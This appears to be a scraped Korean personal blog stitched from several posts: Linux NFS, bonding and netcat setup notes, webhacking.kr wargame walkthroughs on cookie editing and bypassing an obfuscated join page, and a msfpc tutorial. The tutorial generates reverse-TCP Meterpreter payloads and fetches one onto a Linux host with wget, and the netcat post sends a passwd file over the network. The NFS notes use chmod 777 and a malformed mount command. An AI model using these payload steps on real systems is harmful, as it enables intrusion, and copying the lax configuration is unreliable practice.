NFS - 네트워크를 통해 공유된 원격지 호스트에 파일시스템을 로컬 호스트에 마운트하여 파일을 공유하는데 사용하는 프로그램


@SERVER

#yum -y install nfs-utils            // NFS패키지 설치

#mkdir /var/share                   // 공유할 디렉터리 생성

#chmod 777 /var/share           // 공유할 디렉터리에 모든 권한 부여 (접근가능)


#vi /etc/exports                    // NFS서버 설정 파일. 디렉터리 정보와 옵션을 정의

[공유디렉터리] [접근 허용할 네트워크 대역](옵션들)


[옵션 목록]

rw : 읽기, 쓰기 허용

sync : 공유 디렉터리에 변경이 있을때 변경 사항 즉시 동기화

no_root_squash : 클라이언트에서 root계정으로 접근시 서버의 root계정과 동일하게 인식

root_squash : 클라이언트에서 root계정으로 접근시 root계정을 nfsnobody계정으로 인식

no_all_squash : 각 사용자의 권한을 공유 디렉터리에서도 적용

all_squash : 각 사용자의 권한을 공유디렉터리에서 적용하지 않음



#vi /etc/sysconfig/nfs            //NFS서버에서 사용하는 프로그램들의 포트정보 저장 


#service rpcbind start

#service nfs start               // NFS Service 시작



@Client

#yum install -y nfs-utils

#showmount -e 100.100.100.100            // 100.100.100.100이 공유하는 디렉터리 정보 확인


#mkdir /mnt/share                                                // 마운트할 디렉터리 생성

#mount -t 100.100.100.100:/var/share /mnt/share        // 디렉터리를 서버의 공유 디렉터리와 마운트


#df -h        // 마운트 확인


#touch /mnt/share/file{1..10}        // 마운트한 디렉터리에 파일을 생성하여 동기화 확인



@SERVER

성공!!










     

'Server' 카테고리의 다른 글

[Linux]DHCP  (0) 2018.12.17
[Linux] Bonding  (0) 2018.10.07
[Linux]NC  (0) 2018.10.06

소스 코드를 보면

script에 indexOf()라는 함수를 사용한다. 그리고 바로 밑 줄을 보면 이 함수 값의 *30을 한 값을 저 텍스트 박스에 넣으면 되는것 같다.

indexOf() 함수는 괄호 안에 있는 문자열의 위치의 값을 반환한다.

".kr"이라는 문자열이 있는 곳은 이 페이지의 url 주소 이다.

이 페이지의 url 주소는 http://webhacking.kr/challenge/javascript/js1.html 이므로

.kr의 위치는 첫 위치를 0부터 세기 때문에 17번째에 있다.

17 * 30 = 510 이므로 510을 넣어보면 


260100이라는 password값을 알려준다. 


이 패스워드 값을 AUTH에 넣어주면 문제가 해결된다!



'Security & Hacking > Wargame' 카테고리의 다른 글

[SuNiNaTaS] Forensic 15  (0) 2019.01.19
[SuNiNaTaS] Forensic 14  (0) 2019.01.13
[webhacking.kr] Challenge 4  (0) 2018.12.28
[webhacking.kr] Challenge1  (0) 2018.12.12
[webhacking.kr] Challenge 5  (0) 2018.11.24

1번 문제의 소스코드를 보면 아래 부분에 위와 같은 부분이 있다. 


if문의 밑에 두줄을 해석해보면 COOKIE의 user_lv값이 6이상이면 COOKIE값이 1이 되고,

COOKIE의 user_lv 값이 5보다 크다면 문제가 해결되는것 같다.


크롬 확장 프로그램인 EditThisCookie를 실행해보면, 값에 초기 화면과 같은 값인 1이 있다.

이 값에 5보다 크며 6보다 작은 값을넣어주면 문제가 해결된다. 

Success!


'Security & Hacking > Wargame' 카테고리의 다른 글

[SuNiNaTaS] Forensic 15  (0) 2019.01.19
[SuNiNaTaS] Forensic 14  (0) 2019.01.13
[webhacking.kr] Challenge 4  (0) 2018.12.28
[webhacking.kr] Challenge 14  (0) 2018.12.14
[webhacking.kr] Challenge 5  (0) 2018.11.24

처음 화면


Login버튼을 Login 페이지에 들어가진다.


SQL Injection 기본 쿼리문을 입력해 보았을때는 로그인 되지 않았다.




처음 화면에 join 버튼을 눌러보았더니 Access_Denied라는 메세지가 뜨며 페이지에 들어가지지 않았다.


login페이지의 url 주소를 보니 마지막에 login.php라고 쓰여 있었다.

그래서 ' webhacking.kr/challenge/web/web-05/mem/join.php '의 주소로 접속을 시도해 보았다.


접속은 성공하였지만 빈화면이였다. 개발자 환경을 이용하여 소스코드를 보았더니 난독화된 스크립트가 보인다.


l = 'a';

ll = 'b';

lll = 'c';

llll = 'd';

lllll = 'e';

llllll = 'f';

lllllll = 'g';

llllllll = 'h';

lllllllll = 'i';

llllllllll = 'j';

lllllllllll = 'k';

llllllllllll = 'l';

lllllllllllll = 'm';

llllllllllllll = 'n';

lllllllllllllll = 'o';

llllllllllllllll = 'p';

lllllllllllllllll = 'q';

llllllllllllllllll = 'r';

lllllllllllllllllll = 's';

llllllllllllllllllll = 't';

lllllllllllllllllllll = 'u';

llllllllllllllllllllll = 'v';

lllllllllllllllllllllll = 'w';

llllllllllllllllllllllll = 'x';

lllllllllllllllllllllllll = 'y';

llllllllllllllllllllllllll = 'z';

I = '1';

II = '2';

III = '3';

IIII = '4';

IIIII = '5';

IIIIII = '6';

IIIIIII = '7';

IIIIIIII = '8';

IIIIIIIII = '9';

IIIIIIIIII = '0';

li = '.';

ii = '<';

iii = '>';

lIllIllIllIllIllIllIllIllIllIl = lllllllllllllll + llllllllllll + llll + llllllllllllllllllllllllll + lllllllllllllll + lllllllllllll + ll + lllllllll + lllll;

lIIIIIIIIIIIIIIIIIIl = llll + lllllllllllllll + lll + lllllllllllllllllllll + lllllllllllll + lllll + llllllllllllll + llllllllllllllllllll + li + lll + lllllllllllllll + lllllllllllllll + lllllllllll + lllllllll + lllll;

if (eval(lIIIIIIIIIIIIIIIIIIl).indexOf(lIllIllIllIllIllIllIllIllIllIl) == -1) {

    bye;

}

if (eval(llll + lllllllllllllll + lll + lllllllllllllllllllll + lllllllllllll + lllll + llllllllllllll + llllllllllllllllllll + li + 'U' + 'R' + 'L').indexOf(lllllllllllll + lllllllllllllll + llll + lllll + '=' + I) == -1) {

alert('access_denied');

    history.go(-1);

} else {

    document.write('<font size=2 color=white>Join</font><p>');

    document.write('.<p>.<p>.<p>.<p>.<p>');

    document.write('<form method=post action=' + llllllllll + lllllllllllllll + lllllllll + llllllllllllll + li + llllllllllllllll + llllllll + llllllllllllllll +

        '>');

    document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name=' + lllllllll + llll + ' maxlength=5></td></tr>');

    document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name=' + llllllllllllllll + lllllllllllllllllllllll + ' maxlength=10></td></tr>');


난독화된 코드를 해석하면 document.cokie indexOf(oldzombie), document.URL mode=1 이라는 내용을 얻을 수 있다.

(해석은 하나하나 대입하면서 했다.... 머리가 나쁘면 몸이 고생...)


해석에 따라' webhacking.kr/challenge/web/web-05/mem/join.php?mode=1 '에 접속해 보았지만 달라진 점은 찾을수 없었다.

그래서 EditThisCookie라는 확장 프로그램을 이용하여 oldzombie라는 쿠키를 추가해 보았다.

id와 password를 만들수 있는 텍스트박스가 나왔다.


id를 아까 나온 admin으로 해서 만들어 보려고 했지만 이미 존재하는 아이디라고 만들어지지는 않는다.


다른 아이디를 만들어서 로그인을 시도했는데 id가 admin이 아니라고 로그인이 되지 않는다.


다시 join.php로 들어와서 개발자 환경에서 

아이디의 최대길이를 5에서 6으로 바꿔준다.

그리고 아이디 admin에 공백을 추가하고 계정을 만들면 계정이 잘 만들어지고

'admin'으로 로그인하면 문제가 해결된다!!













'Security & Hacking > Wargame' 카테고리의 다른 글

[SuNiNaTaS] Forensic 15  (0) 2019.01.19
[SuNiNaTaS] Forensic 14  (0) 2019.01.13
[webhacking.kr] Challenge 4  (0) 2018.12.28
[webhacking.kr] Challenge 14  (0) 2018.12.14
[webhacking.kr] Challenge1  (0) 2018.12.12

https://github.com/g0tmi1k/mpc            // msfpc github 사이트

// 자동 공격코드 생성 도구


kali# git clone https://github.com/g0tmi1k/mpc.git        // msfpc 다운로드


[Window]

- 윈도우용 공격코드 생성


- 생성된 실행파일을 /var/www/html/down에 test.exe라는 이름으로 저장

- 아파치 웹서버 실행-


- 윈도우에서 칼리 웹서버의 down 폴더에 접속 후 text.exe 다운로드



- 위의 코드 생성할때 run부분에 나온 코드를 실행

- 이후 윈도우에 받은 test.exe파일 실행


- meterpreter 프롬포트가 성공적으로 나오고 스크린샷 명령으로 성공 했는지 확인




[Linux]

- 리눅스용 공격 코드 생성


kali# cp /root/mpc/linux-shell-staged-reverse-tcp-60000.elf /var/www/html/down/patch.elf        // 생성된 실행 파일을 웹서버의 down 디렉터리로                                                                                                                                 patch.elf  라는 이름으로 복사

centos# wget http://100.100.100.1/down/patch.elf        // patch.elf 파일을 리눅스로 가져온다.


- 위 run에 있는 명령어로 실행

- 리눅스에서 patch.elf 실행


- 리눅스에 연결하야 ls 명령어로 리눅스의 홈 디렉터리 파일 목록을 확인














Bonding - 네트워크 이중화


1.NIC(네트워크 카드) 추가



- eth1로 새로운 네트워크 카드가 추가 되었다. 

#vi /etc/sysconfig/network-scripts/ifcfg-eth0

이 파일의 내용을 다음과 같이 바꿔준다.


#vi /etc/sysconfig/network-scripts/ifcfg-eth1

이 파일의 내용을 다음과 같이 바꿔준다.


#vi /etc/sysconfig/network-scripts/ifcfg-bond0

이 파일의 내용을 다음과 같이 바꿔준다.

- mode=1            // 활성화 되었있는 NIC에 문제 발생시 예비 NIC로 변경되는 기능

- miimon=100      //  모니터링 주기 (ms)  



#vi /etc/modprobe.d/bonding.conf            // 커널에 전달 본딩 설정을 저장하고 있는 파일



커널에 본딩 기능 추가

#modprobe bond0

#service network restart        // 네트워크 재시작



### Bonding 설정 확인 ### 

- bond0에 ip주소 , eth0, eth1에는 ip주소 X





이후 vmware에서 네트워크 카드 연결 해제 하며 테스트












'Server' 카테고리의 다른 글

[Linux]DHCP  (0) 2018.12.17
[Linux]NFS  (0) 2018.12.15
[Linux]NC  (0) 2018.10.06

NC ( Net Cat )

- 네트워크로 입력된 데이터를 사용하는 툴

- Cat 표준 입출력

- nc 네트워크 입출력


# yum -y install nc        // nc 설치


# service iptables stop    // 방화벽에서 nc의 포트를 차단하기 때문에 방화벽을 잠시 차단한다.


- 서버에서 2000번 포트로 nc 사용

- client에서 서버 ip인 100.100.100.100으로 2000번 포트 nc 접속
- 한 곳에서 문자를 입력하면 다른 곳에서도 나타남.

- 서버의 passwd 파일을 client로 전송한다.



'Server' 카테고리의 다른 글

[Linux]DHCP  (0) 2018.12.17
[Linux]NFS  (0) 2018.12.15
[Linux] Bonding  (0) 2018.10.07

+ Recent posts